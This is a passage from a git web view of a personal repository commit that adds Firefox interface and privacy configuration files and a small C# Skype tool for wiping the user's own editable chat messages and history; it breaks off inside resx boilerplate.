random

- collection of un-sorted bollocks
git clone git://git.acid.vegas/random.git
Log | Files | Refs | Archive

commit 3934934e02449daf99397123b90ce297b7a92d71
parent 006f43a7c2aabe5833b6132636fd50706dc94129
Author: acidvegas <acid.vegas@acid.vegas>
Date: Fri, 5 May 2023 18:28:45 -0400

Fixed post-commit parsing org names

Diffstat:
A.mozilla/firefox/profile.default/chrome/userChrome.css | 83+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
A.mozilla/firefox/profile.default/chrome/userContent.css | 5+++++
A.mozilla/firefox/profile.default/mozilla.cfg | 68++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Ac#/SKClean/SKClean.exe | 0
Ac#/SKClean/SKClean/SKClean.sln | 22++++++++++++++++++++++
Ac#/SKClean/SKClean/SKClean.v12.suo | 0
Ac#/SKClean/SKClean/SKClean/App.config | 7+++++++
Ac#/SKClean/SKClean/SKClean/Main.Designer.cs | 85+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Ac#/SKClean/SKClean/SKClean/Main.cs | 45+++++++++++++++++++++++++++++++++++++++++++++
Ac#/SKClean/SKClean/SKClean/Main.resx | 124+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Ac#/SKClean/SKClean/SKClean/Program.cs | 15+++++++++++++++
Ac#/SKClean/SKClean/SKClean/Properties/AssemblyInfo.cs | 36++++++++++++++++++++++++++++++++++++
Ac#/SKClean/SKClean/SKClean/Properties/Resources.Designer.cs | 71+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Ac#/SKClean/SKClean/SKClean/Properties/Resources.resx | 118+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Ac#/SKClean/SKClean/SKClean/Properties/Settings.Designer.cs | 30++++++++++++++++++++++++++++++
Ac#/SKClean/SKClean/SKClean/Properties/Settings.settings | 7+++++++
Ac#/SKClean/SKClean/SKClean/SKClean.csproj | 107+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Ac#/SKClean/SKClean/SKClean/bin/Debug/SKClean.exe | 0
Ac#/SKClean/SKClean/SKClean/bin/Debug/SKClean.exe.config | 7+++++++
Ac#/SKClean/SKClean/SKClean/bin/Debug/SKClean.pdb | 0
Ac#/SKClean/SKClean/SKClean/bin/Debug/SKClean.vshost.exe | 0
Ac#/SKClean/SKClean/SKClean/bin/Debug/SKClean.vshost.exe.config | 7+++++++
Ac#/SKClean/SKClean/SKClean/icon.ico | 0
Ac#/SKClean/SKClean/SKClean/obj/Debug/DesignTimeResolveAssemblyReferences.cache | 0
Ac#/SKClean/SKClean/SKClean/obj/Debug/DesignTimeResolveAssemblyReferencesInput.cache | 0
Ac#/SKClean/SKClean/SKClean/obj/Debug/Interop.SKYPE4COMLib.dll | 0
Ac#/SKClean/SKClean/SKClean/obj/Debug/SKClean.Main.resources | 0
Ac#/SKClean/SKClean/SKClean/obj/Debug/SKClean.Properties.Resources.resources | 0
Ac#/SKClean/SKClean/SKClean/obj/Debug/SKClean.csproj.FileListAbsolute.txt | 33+++++++++++++++++++++++++++++++++
Ac#/SKClean/SKClean/SKClean/obj/Debug/SKClean.csproj.GenerateResource.Cache | 0
Ac#/SKClean/SKClean/SKClean/obj/Debug/SKClean.csproj.ResolveComReference.cache | 0
Ac#/SKClean/SKClean/SKClean/obj/Debug/SKClean.csprojResolveAssemblyReference.cache | 0
Ac#/SKClean/SKClean/SKClean/obj/Debug/SKClean.exe | 0
Ac#/SKClean/SKClean/SKClean/obj/Debug/SKClean.pdb | 0
Ac#/SKClean/SKClean/SKClean/obj/Debug/TemporaryGeneratedFile_036C0B5B-1481-4323-8D20-8F5ADCB23D92.cs | 0
Ac#/SKClean/SKClean/SKClean/obj/Debug/TemporaryGeneratedFile_5937a670-0e60-4077-877b-f7221da3dda1.cs | 0
Ac#/SKClean/SKClean/SKClean/obj/Debug/TemporaryGeneratedFile_E7A71F73-0F8D-4B9B-B56E-8E70B10BC5D3.cs | 0
Ac#/Skype Quote Generator/Skype Quote Generator.exe | 0
Ac#/Skype Quote Generator/Source/.vs/SkypeQuote/v14/.suo | 0
Ac#/Skype Quote Generator/Source/SkypeQuote.sln | 22++++++++++++++++++++++
Ac#/Skype Quote Generator/Source/SkypeQuote/App.config | 6++++++
Ac#/Skype Quote Generator/Source/SkypeQuote/ClassDiagram1.cd | 3+++
Ac#/Skype Quote Generator/Source/SkypeQuote/Main.Designer.cs | 152+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Ac#/Skype Quote Generator/Source/SkypeQuote/Main.cs | 44++++++++++++++++++++++++++++++++++++++++++++
Ac#/Skype Quote Generator/Source/SkypeQuote/Main.resx | 1254+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Ac#/Skype Quote Generator/Source/SkypeQuote/Program.cs | 19+++++++++++++++++++
Ac#/Skype Quote Generator/Source/SkypeQuote/Properties/AssemblyInfo.cs | 36++++++++++++++++++++++++++++++++++++
Ac#/Skype Quote Generator/Source/SkypeQuote/Properties/Resources.Designer.cs | 63+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Ac#/Skype Quote Generator/Source/SkypeQuote/Properties/Resources.resx | 118+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Ac#/Skype Quote Generator/Source/SkypeQuote/Properties/Settings.Designer.cs | 26++++++++++++++++++++++++++
Ac#/Skype Quote Generator/Source/SkypeQuote/Properties/Settings.settings | 7+++++++
Ac#/Skype Quote Generator/Source/SkypeQuote/SkypeQuote.csproj | 117+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Ac#/Skype Quote Generator/Source/SkypeQuote/SkypeQuote.csproj.user | 14++++++++++++++
Ac#/Skype Quote Generator/Source/SkypeQuote/bin/Debug/SkypeQuote.exe | 0
Ac#/Skype Quote Generator/Source/SkypeQuote/bin/Debug/SkypeQuote.exe.config | 6++++++
Ac#/Skype Quote Generator/Source/SkypeQuote/bin/Debug/SkypeQuote.pdb | 0
Ac#/Skype Quote Generator/Source/SkypeQuote/bin/Debug/SkypeQuote.vshost.exe | 0
Ac#/Skype Quote Generator/Source/SkypeQuote/bin/Debug/SkypeQuote.vshost.exe.config | 6++++++
Ac#/Skype Quote Generator/Source/SkypeQuote/bin/Debug/SkypeQuote.vshost.exe.manifest | 11+++++++++++
Ac#/Skype Quote Generator/Source/SkypeQuote/obj/Debug/DesignTimeResolveAssemblyReferences.cache | 0
Ac#/Skype Quote Generator/Source/SkypeQuote/obj/Debug/DesignTimeResolveAssemblyReferencesInput.cache | 0
Ac#/Skype Quote Generator/Source/SkypeQuote/obj/Debug/SkypeQuote.Main.resources | 0
Ac#/Skype Quote Generator/Source/SkypeQuote/obj/Debug/SkypeQuote.Properties.Resources.resources | 0
Ac#/Skype Quote Generator/Source/SkypeQuote/obj/Debug/SkypeQuote.csproj.FileListAbsolute.txt | 9+++++++++
Ac#/Skype Quote Generator/Source/SkypeQuote/obj/Debug/SkypeQuote.csproj.GenerateResource.Cache | 0
Ac#/Skype Quote Generator/Source/SkypeQuote/obj/Debug/SkypeQuote.csprojResolveAssemblyReference.cache | 0
Ac#/Skype Quote Generator/Source/SkypeQuote/obj/Debug/SkypeQuote.exe | 0
Ac#/Skype Quote Generator/Source/SkypeQuote/obj/Debug/SkypeQuote.pdb | 0
Ac#/Skype Quote Generator/Source/SkypeQuote/obj/Debug/TempPE/Properties.Resources.Designer.cs.dll | 0
Ac#/Skype Quote Generator/Source/SkypeQuote/obj/Debug/TemporaryGeneratedFile_036C0B5B-1481-4323-8D20-8F5ADCB23D92.cs | 0
Ac#/Skype Quote Generator/Source/SkypeQuote/obj/Debug/TemporaryGeneratedFile_5937a670-0e60-4077-877b-f7221da3dda1.cs | 0
Ac#/Skype Quote Generator/Source/SkypeQuote/obj/Debug/TemporaryGeneratedFile_E7A71F73-0F8D-4B9B-B56E-8E70B10BC5D3.cs | 0
Ac#/Skype Quote Generator/Source/SkypeQuote/skype.ico | 0
Ac#/gskBot/.vs/gskBot/v14/.suo | 0
Ac#/gskBot/gskBot.sln | 22++++++++++++++++++++++
Ac#/gskBot/gskBot.v12.suo | 0
Ac#/gskBot/gskBot/App.config | 6++++++
Ac#/gskBot/gskBot/Bot.cs | 61+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Ac#/gskBot/gskBot/Config.cs | 38++++++++++++++++++++++++++++++++++++++
Ac#/gskBot/gskBot/Function.cs | 236+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Ac#/gskBot/gskBot/IRC.cs | 146+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Ac#/gskBot/gskBot/Properties/AssemblyInfo.cs | 33+++++++++++++++++++++++++++++++++
Ac#/gskBot/gskBot/bin/Debug/gskBot.exe | 0
Ac#/gskBot/gskBot/bin/Debug/gskBot.exe.config | 6++++++
Ac#/gskBot/gskBot/bin/Debug/gskBot.pdb | 0
Ac#/gskBot/gskBot/bin/Debug/gskBot.vshost.exe | 0
Ac#/gskBot/gskBot/bin/Debug/gskBot.vshost.exe.config | 6++++++
Ac#/gskBot/gskBot/bin/Debug/gskBot.vshost.exe.manifest | 11+++++++++++
Ac#/gskBot/gskBot/gskBot.csproj | 102+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Ac#/gskBot/gskBot/gskBot.csproj.user | 14++++++++++++++
Ac#/gskBot/gskBot/icon.ico | 0
Ac#/gskBot/gskBot/obj/Debug/DesignTimeResolveAssemblyReferencesInput.cache | 0
Ac#/gskBot/gskBot/obj/Debug/TemporaryGeneratedFile_036C0B5B-1481-4323-8D20-8F5ADCB23D92.cs | 0
Ac#/gskBot/gskBot/obj/Debug/TemporaryGeneratedFile_5937a670-0e60-4077-877b-f7221da3dda1.cs | 0
Ac#/gskBot/gskBot/obj/Debug/TemporaryGeneratedFile_E7A71F73-0F8D-4B9B-B56E-8E70B10BC5D3.cs | 0
Ac#/gskBot/gskBot/obj/Debug/gskBot.csproj.FileListAbsolute.txt | 24++++++++++++++++++++++++
Ac#/gskBot/gskBot/obj/Debug/gskBot.csprojResolveAssemblyReference.cache | 0
Ac#/gskBot/gskBot/obj/Debug/gskBot.exe | 0
Ac#/gskBot/gskBot/obj/Debug/gskBot.pdb | 0
Mirc/post-commit | 10++++------
Av6 | 24++++++++++++++++++++++++

101 files changed, 3516 insertions(+), 6 deletions(-)

diff --git a/.mozilla/firefox/profile.default/chrome/userChrome.css b/.mozilla/firefox/profile.default/chrome/userChrome.css
@@ -0,0 +1,82 @@
+/* context menu - blank */
+#context-back,#context-bookmarkpage,#context-forward,#context-inspect,#context-navigation,#context-pocket,#context-reload,#context-savepage,#context-selectall,#context-sendpagetodevice,#context-sep-navigation,#context-sep-sendpagetodevice,#context-sep-viewbgimage,#context-sep-viewsource,#context-stop,#context-viewinfo,#context-viewsource,#inspect-separator,#screenshots_mozilla_org_create-screenshot{display:none !important}
+
+/* context menu - frame */
+#context-bookmarkframe,#context-openframe,#context-openframeintab,#context-printframe,#context-printframe + menuseparator,#context-reloadframe,#context-reloadframe + menuseparator,#context-saveframe,#context-saveframe + menuseparator,#context-showonlythisframe,#context-viewframeinfo,#context-viewframesource,#open-frame-sep{display:none !important}
+
+/* context menu - image */
+#context-reloadimage,#context-sendimage,#context-sep-copyimage,#context-setDesktopBackground,#context-viewimageinfo{display:none !important}
+
+/* context menu - input */
+#context-bidi-page-direction-toggle,#context-bidi-text-direction-toggle,#context-copy,#context-cut,#context-delete,#context-keywordfield,#context-paste,#context-selectall,#context-sep-bidi,#context-sep-paste,#context-sep-undo,#context-undo,#fill-login,#fill-login-separator,#spell-add-dictionaries-main,#spell-check-enabled,#spell-dictionaries,#spell-separator{display:none !important}
+
+/* context menu - link */
+#context-bookmarklink,#context-openlink,#context-openlinkinusercontext-menu,#context-openlinkprivate,#context-savelinktopocket,#context-searchselect,#context-sendlinktodevice,#context-sep-open,#context-sep-sendlinktodevice{display:none !important}
+
+/* context menu - media */
+#context-sendaudio{display:none !important}
+
+/* context menu - page action */
+#pageAction-panel-addSearchEngine,#pageAction-panel-bookmark,#pageAction-panel-bookmarkSeparator,#pageAction-panel-builtInSeparator,#pageAction-panel-copyURL,#pageAction-panel-emailLink,#pageAction-panel-pocket,#pageAction-panel-screenshots,#pageAction-panel-sendToDevice,#pageAction-panel-transientSeparator,#pageAction-panel-webcompat-reporter-button{display:none !important}
+
+/* context menu - select */
+#context-viewpartialsource-selection{display:none !important}
+
+/* context menu - side bar */
+#placesContext_copy,#placesContext_createBookmark,#placesContext_cut,#placesContext_deleteHost,#placesContext_deleteSeparator,#placesContext_delete_history,#placesContext_editSeparator,#placesContext_openLinks:tabs,#placesContext_open:newprivatewindow,#placesContext_open:newwindow,#placesContext_paste,#placesContext_reload{display:none !important}
+
+/* context menu - tab */
+#context_closeOtherTabs,#context_closeTabsToTheEnd,#context_duplicateTab,#context_duplicateTab + menuseparator,#context_moveTabOptions,#context_pinSelectedTabs,#context_reloadSelectedTabs,#context_reloadTab,#context_reopenInContainer,#context_sendTabToDevice,#context_sendTabToDevice + menuseparator,#context_toggleMuteSelectedTabs,#context_undoCloseTab,#context_unpinSelectedTabs{display:none !important}
+
+/* context menu - tool bar */
+#toggle_PersonalToolbar,#toggle_toolbar-menubar,#toolbar-context-bookmarkSelectedTab,#toolbar-context-bookmarkSelectedTabs,#toolbar-context-reloadSelectedTab,#toolbar-context-reloadSelectedTabs,#toolbar-context-selectAllTabs,#toolbar-context-undoCloseTab,#toolbar-context-undoCloseTab + menuseparator,.customize-context-autoHide,.customize-context-manageExtension,.customize-context-moveToPanel,.customize-context-removeExtension,.customize-context-removeExtension + menuseparator,.customize-context-removeFromToolbar,.viewCustomizeToolbar{display:none !important}
+
+
+/* context menu - url bar */
+#urlbar menuitem[anonid="paste-and-go"],#urlbar menuitem[cmd="cmd_copy"],#urlbar menuitem[cmd="cmd_cut"],#urlbar menuitem[cmd="cmd_delete"],#urlbar menuitem[cmd="cmd_delete"] + menuseparator,#urlbar menuitem[cmd="cmd_paste"],#urlbar menuitem[cmd="cmd_selectAll"],#urlbar menuitem[cmd="cmd_undo"],#urlbar menuitem[cmd="cmd_undo"] + menuseparator{display:none !important}
+
+/* find bar - hide extra options */
+.findbar-entire-word, .findbar-case-sensitive, .findbar-highlight {visibility: collapse !important} 
+
+/* nav bar - hide back & forward buttons */
+:-moz-any(#back-button, #forward-button){display:none !important}
+
+/* nav bar - hide hamburger button */
+#PanelUI-menu-button{display:none}
+
+/* nav + tab bar merge */
+:root[uidensity=compact]{--tabs-margin-left:3em;--space-before-tabs:34.5em;--space-after-tabs:2em;--nav-margin-top:-1.9em;--menu-margin-top:0.05em}
+#TabsToolbar{margin-left:var(--tabs-margin-left) !important;padding-left:var(--space-before-tabs) !important;margin-right:var(--space-after-tabs) !important;margin-bottom:-0.1em; !important}
+#nav-bar{margin-top:var(--nav-margin-top) !important;margin-right:60vw !important;margin-bottom:-0.1em !important;background-color:transparent !important}
+
+/* side bar - hide header & search */
+#sidebar-header,#sidebar-search-container{display:none}
+
+/* tab bar - close button on hover only */
+.tabbrowser-tab:not([selected]):not([pinned]) .tab-close-button{display:none !important}
+.tabbrowser-tab:not([selected]):not([pinned]):hover .tab-close-button{display:-moz-box !important}
+
+/* tab bar - hide buttons */
+.tabbrowser-strip *[class^="scrollbutton"], .tabbrowser-strip *[class^="tabs-alltabs"], .tabbrowser-strip *[class^="tabs-newtab-button"]{display:none}
+
+/* tool bar - compact icons */
+#widget-overflow-fixed-list{display:grid;grid-template-rows:repeat(1,1.5em);grid-template-columns:repeat(20, 15em)}
+#widget-overflow-fixed-list .toolbarbutton-1 > .toolbarbutton-text{display:none !important}
+
+/* url bar - hide bookmark star */
+#star-button{display:none !important}
+
+/* url bar - hide dropdown */
+.urlbar-history-dropmarker{display:none !important}
+
+/* url bar - hide feed button */
+#feed-button {display:none !important}
+
+/* url bar - hide info icon */
+#urlbar:not(.grantedPermissions) #identity-icon{transition:300ms !important;opacity:0 !important;-moz-margin-end:-1.1em !important}
+
+/* url bar - hide page actions */
+#pageActionButton{display:none !important}
+
+#urlbar-container {max-width: 400px !important;}
+#search-container {max-width: 200px !important;} 
+\ No newline at end of file
diff --git a/.mozilla/firefox/profile.default/chrome/userContent.css b/.mozilla/firefox/profile.default/chrome/userContent.css
@@ -0,0 +1,4 @@
+/* color blank pages for dark theme */
+@-moz-document url("about:blank"){*:empty:not([id]):not([style]){background-color:#474749 !important;}}
+@-moz-document url("about:home"), url("about:newtab"){.activity-stream{background-color:#474749 !important;}}
+@-moz-document url("about:newtab"){input#newtab-customize-button{display:none !important;}}
+\ No newline at end of file
diff --git a/.mozilla/firefox/profile.default/mozilla.cfg b/.mozilla/firefox/profile.default/mozilla.cfg
@@ -0,0 +1,68 @@
+// custom prefs
+lockPref("accessibility.typeaheadfind.autostart",		false)	// http://kb.mozillazine.org/Accessibility.typeaheadfind.autostart
+lockPref("accessibility.typeaheadfind.enablesound",		false)	// http://kb.mozillazine.org/Accessibility.typeaheadfind.enablesound
+lockPref("app.update.auto",								false)	// http://kb.mozillazine.org/App.update.auto
+lockPref("app.update.enabled",							true)	// http://kb.mozillazine.org/App.update.enabled
+lockPref("beacon.enabled",								false)
+lockPref("browser.aboutHomeSnippets.updateUrl",			"")
+lockPref("browser.backspace_action",					0)		// http://kb.mozillazine.org/Browser.backspace_action
+lockPref("browser.bookmarks.max_backups",				0)		// http://kb.mozillazine.org/Browser.bookmarks.max_backups
+lockPref("browser.cache.check_doc_frequency",           3)		// http://kb.mozillazine.org/Browser.cache.check_doc_frequency
+lockPref("browser.cache.disk.enable",					false)	// http://kb.mozillazine.org/Browser.cache.disk.enable
+lockPref("browser.cache.disk_cache_ssl",				false)	// http://kb.mozillazine.org/Browser.cache.disk_cache_ssl
+lockPref("browser.cache.memory.capacity",				-1)		// http://kb.mozillazine.org/Browser.cache.memory.capacity
+lockPref("browser.cache.memory.enable",					true)	// http://kb.mozillazine.org/Browser.cache.memory.enable
+lockPref("browser.cache.offline.enable",				false)	// http://kb.mozillazine.org/Browser.cache.offline.enable
+lockPref("browser.chrome.site_icons",					false)	// http://kb.mozillazine.org/Browser.chrome.site_icons
+lockPref("browser.chrome.toolbar_tips",					false)	// http://kb.mozillazine.org/Browser.chrome.toolbar_tips
+lockPref("browser.download.manager.addToRecentDocs",	false)	// http://kb.mozillazine.org/Browser.download.manager.addToRecentDocs
+lockPref("browser.formfill.enable",						false)
+lockPref("browser.link.open_newwindow",					3)		// http://kb.mozillazine.org/Browser.link.open_newwindow
+lockPref("browser.link.open_newwindow.restriction",		0)		// http://kb.mozillazine.org/Browser.link.open_newwindow.restriction
+lockPref("browser.newtabpage.enabled",					false)
+lockPref("browser.privatebrowsing.autostart",			true)
+lockPref("browser.safebrowsing.malware.enabled",		false)
+lockPref("browser.safebrowsing.phishing.enabled",		false)
+lockPref("browser.safebrowsing.downloads.enabled",		false)
+lockPref("browser.search.suggest.enabled",				false)	// http://kb.mozillazine.org/Browser.search.suggest.enabled
+lockPref("browser.send_pings",							false)	// http://kb.mozillazine.org/Browser.send_pings
+lockPref("browser.sessionhistory.max_total_viewers",	3)		// http://kb.mozillazine.org/Browser.sessionhistory.max_total_viewers
+lockPref("browser.sessionstore.max_resumed_crashes",	0)		// http://kb.mozillazine.org/Browser.sessionstore.max_resumed_crashes
+lockPref("browser.sessionstore.max_tabs_undo",			3)		// http://kb.mozillazine.org/Browser.sessionstore.max_tabs_undo
+lockPref("browser.sessionstore.privacy_level",			2)		// http://kb.mozillazine.org/Browser.sessionstore.privacy_level
+lockPref("browser.sessionstore.resume_from_crash",		false)	// http://kb.mozillazine.org/Browser.sessionstore.resume_from_crash
+lockPref("browser.startup.page",						0)		// http://kb.mozillazine.org/Browser.startup.page
+lockPref("browser.tabs.crashReporting.sendReport",		false)
+lockPref("browser.urlbar.autoFill",						false)
+lockPref("browser.urlbar.autocomplete.enabled",			false)
+lockPref("browser.urlbar.maxRichResults",				0)		// http://kb.mozillazine.org/Browser.urlbar.maxRichResults
+lockPref("browser.zoom.siteSpecific",					false)
+lockPref("dom.battery.enabled",							false)
+lockPref("dom.event.clipboardevents.enabled",			false)
+lockPref("dom.event.contextmenu.enabled",				false)
+lockPref("general.warnOnAboutConfig",					false)	// http://kb.mozillazine.org/General.warnOnAboutConfig
+lockPref("geo.enabled",									false)
+lockPref("extensions.pocket.enabled",					false)
+lockPref("extensions.screenshots.disabled",				true)
+lockPref("image.animation_mode",						"once")
+lockPref("layout.spellcheckDefault",					0)
+lockPref("network.cookie.cookieBehavior",				1)		// http://kb.mozillazine.org/Network.cookie.cookieBehavior
+lockPref("network.cookie.lifetimePolicy",				2)		// http://kb.mozillazine.org/Network.cookie.lifetimePolicy
+lockPref("network.dns.disablePrefetch",					true)	// http://kb.mozillazine.org/Network.dns.disablePrefetch
+lockPref("network.dnsCacheEntries",						10)		// http://kb.mozillazine.org/Network.dnsCacheEntries
+lockPref("network.http.referer.XOriginPolicy",			0)
+lockPref("network.http.referer.spoofSource",			true)
+lockPref("network.http.sendRefererHeader",				0)
+lockPref("network.IDN_show_punycode",					true)	// http://kb.mozillazine.org/Network.IDN_show_punycode
+lockPref("network.prefetch-next",						false)	// http://kb.mozillazine.org/Network.prefetch-next
+lockPref("places.history.enabled",						false)
+lockPref("signon.autofillForms",						false)	// http://kb.mozillazine.org/Signon.autofillForms
+lockPref("plugins.flashBlock.enabled",					true)
+lockPref("privacy.clearOnShutdown.*",					true)
+lockPref("privacy.cpd.*",								true)
+lockPref("privacy.donottrackheader.enabled",			true)
+lockPref("privacy.sanitize.sanitizeOnShutdown",			true)
+lockPref("privacy.trackingprotection.enabled",			true)
+lockPref("reader.parse-on-load.enabled",				false)
+lockPref("security.dialog_enable_delay",				0)
+lockPref("toolkit.cosmeticAnimations.enabled",			false)
diff --git a/c#/SKClean/SKClean.exe b/c#/SKClean/SKClean.exe
Binary files differ.
diff --git a/c#/SKClean/SKClean/SKClean.sln b/c#/SKClean/SKClean/SKClean.sln
@@ -0,0 +1,22 @@
+
+Microsoft Visual Studio Solution File, Format Version 12.00
+# Visual Studio Express 2013 for Windows Desktop
+VisualStudioVersion = 12.0.21005.1
+MinimumVisualStudioVersion = 10.0.40219.1
+Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "SKClean", "SKClean\SKClean.csproj", "{07708324-3B4B-43AA-A630-9FD2263C8134}"
+EndProject
+Global
+	GlobalSection(SolutionConfigurationPlatforms) = preSolution
+		Debug|Any CPU = Debug|Any CPU
+		Release|Any CPU = Release|Any CPU
+	EndGlobalSection
+	GlobalSection(ProjectConfigurationPlatforms) = postSolution
+		{07708324-3B4B-43AA-A630-9FD2263C8134}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
+		{07708324-3B4B-43AA-A630-9FD2263C8134}.Debug|Any CPU.Build.0 = Debug|Any CPU
+		{07708324-3B4B-43AA-A630-9FD2263C8134}.Release|Any CPU.ActiveCfg = Release|Any CPU
+		{07708324-3B4B-43AA-A630-9FD2263C8134}.Release|Any CPU.Build.0 = Release|Any CPU
+	EndGlobalSection
+	GlobalSection(SolutionProperties) = preSolution
+		HideSolutionNode = FALSE
+	EndGlobalSection
+EndGlobal
diff --git a/c#/SKClean/SKClean/SKClean.v12.suo b/c#/SKClean/SKClean/SKClean.v12.suo
Binary files differ.
diff --git a/c#/SKClean/SKClean/SKClean/App.config b/c#/SKClean/SKClean/SKClean/App.config
@@ -0,0 +1,6 @@
+<?xml version="1.0" encoding="utf-8" ?>
+<configuration>
+    <startup> 
+        <supportedRuntime version="v4.0" sku=".NETFramework,Version=v4.5" />
+    </startup>
+</configuration>
+\ No newline at end of file
diff --git a/c#/SKClean/SKClean/SKClean/Main.Designer.cs b/c#/SKClean/SKClean/SKClean/Main.Designer.cs
@@ -0,0 +1,85 @@
+namespace SKClean
+{
+    partial class Main
+    {
+        /// <summary>
+        /// Required designer variable.
+        /// </summary>
+        private System.ComponentModel.IContainer components = null;
+
+        /// <summary>
+        /// Clean up any resources being used.
+        /// </summary>
+        /// <param name="disposing">true if managed resources should be disposed; otherwise, false.</param>
+        protected override void Dispose(bool disposing)
+        {
+            if (disposing && (components != null))
+            {
+                components.Dispose();
+            }
+            base.Dispose(disposing);
+        }
+
+        #region Windows Form Designer generated code
+
+        /// <summary>
+        /// Required method for Designer support - do not modify
+        /// the contents of this method with the code editor.
+        /// </summary>
+        private void InitializeComponent()
+        {
+            this.buttonClean = new System.Windows.Forms.Button();
+            this.optionLeave = new System.Windows.Forms.CheckBox();
+            this.SuspendLayout();
+            // 
+            // buttonClean
+            // 
+            this.buttonClean.Location = new System.Drawing.Point(12, 12);
+            this.buttonClean.Name = "buttonClean";
+            this.buttonClean.Size = new System.Drawing.Size(81, 38);
+            this.buttonClean.TabIndex = 0;
+            this.buttonClean.Text = "C L E A N";
+            this.buttonClean.UseVisualStyleBackColor = true;
+            this.buttonClean.Click += new System.EventHandler(this.buttonClean_Click);
+            // 
+            // optionLeave
+            // 
+            this.optionLeave.AutoSize = true;
+            this.optionLeave.Location = new System.Drawing.Point(12, 56);
+            this.optionLeave.Name = "optionLeave";
+            this.optionLeave.Size = new System.Drawing.Size(81, 17);
+            this.optionLeave.TabIndex = 1;
+            this.optionLeave.Text = "Leave Chat";
+            this.optionLeave.UseVisualStyleBackColor = true;
+            // 
+            // Main
+            // 
+            this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F);
+            this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
+            this.ClientSize = new System.Drawing.Size(105, 85);
+            this.Controls.Add(this.optionLeave);
+            this.Controls.Add(this.buttonClean);
+            this.FormBorderStyle = System.Windows.Forms.FormBorderStyle.FixedSingle;
+            this.MaximizeBox = false;
+            this.MaximumSize = new System.Drawing.Size(115, 118);
+            this.MinimizeBox = false;
+            this.MinimumSize = new System.Drawing.Size(115, 118);
+            this.Name = "Main";
+            this.ShowIcon = false;
+            this.ShowInTaskbar = false;
+            this.SizeGripStyle = System.Windows.Forms.SizeGripStyle.Hide;
+            this.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen;
+            this.Text = "SKClean";
+            this.ResumeLayout(false);
+            this.PerformLayout();
+
+        }
+
+        #endregion
+
+        private System.Windows.Forms.Button buttonClean;
+        private System.Windows.Forms.CheckBox optionLeave;
+
+    }
+}
+
diff --git a/c#/SKClean/SKClean/SKClean/Main.cs b/c#/SKClean/SKClean/SKClean/Main.cs
@@ -0,0 +1,45 @@
+#region Imports
+using SKYPE4COMLib;
+using System;
+using System.Windows.Forms;
+#endregion
+
+namespace SKClean {
+    public partial class Main : Form {
+        public static Skype API = new Skype();
+
+        #region Startup
+        public Main() {
+            InitializeComponent();
+        }
+        #endregion
+
+        #region Clean Button
+        private void buttonClean_Click(object sender, EventArgs e) {
+            API.Attach(5, true);
+            foreach (Chat chat in API.ActiveChats) {
+                foreach (ChatMessage msg in chat.Messages) {
+                    if (msg.IsEditable)
+                        try {
+                            msg.Body = "";
+                        } catch {
+                            continue;
+                        }
+                }
+                if (optionLeave.Checked) {
+                    try {
+                        chat.SendMessage("/topic .");
+                        chat.Leave();
+                    } catch {
+                        continue;
+                    }
+                    
+                }
+            }
+            API.ClearCallHistory();
+            API.ClearChatHistory();
+            API.ClearVoicemailHistory();
+        }
+        #endregion
+    }
+}
diff --git a/c#/SKClean/SKClean/SKClean/Main.resx b/c#/SKClean/SKClean/SKClean/Main.resx
@@ -0,0 +1,123 @@
+<?xml version="1.0" encoding="utf-8"?>
+<root>
+  <!-- 
+    Microsoft ResX Schema 
+    
+    Version 2.0
+    
+    The primary goals of this format is to allow a simple XML format 
+    that is mostly human readable. The generation and parsing of the 
+    various data types are done through the TypeConverter classes 
+    associated with the data types.
+    
+    Example:
+    
+    ... ado.net/XML headers & schema ...
+    <resheader name="resmimetype">text/microsoft-resx</resheader>
+    <resheader name="version">2.0</resheader>
+    <resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
+    <resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
+    <data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
+    <data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
+    <data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
+        <value>[base64 mime encoded serialized .NET Framework object]</value>
+    </data>
+    <data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
+        <value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
+        <comment>This is a comment</comment>
+    </data>
+                
+    There are any number of "resheader" rows that contain simple 
+    name/value pairs.
+    
+    Each data row contains a name, and value. The row also contains a 
+    type or mimetype. Type corresponds to a .NET class that support 
+    text/value conversion through the TypeConverter architecture. 
+    Classes that don't support this are serialized and stored with the 
+    mimetype set.
+    
+    The mimetype is used for serialized objects, and tells the 
+    ResXResourceReader how to depersist the object. This is currently not 
+    extensible. For a given mimetype the value must be set accordingly:
+    
+    Note - application/x-microsoft.net.object.binary.base64 is the format 
+    that the ResXResourceWriter will generate, however the reader can 
+    read any of the formats listed below.
+    
+    mimetype: application/x-microsoft.net.object.binary.base64
+    value   : The object must be serialized with 
+            : System.Runtime.Serialization.Formatters.Binary.BinaryFormatter
+            : and then encoded with base64 encoding.
+    
+    mimetype: application/x-microsoft.net.object.soap.base64
+    value   : The object must be serialized with 
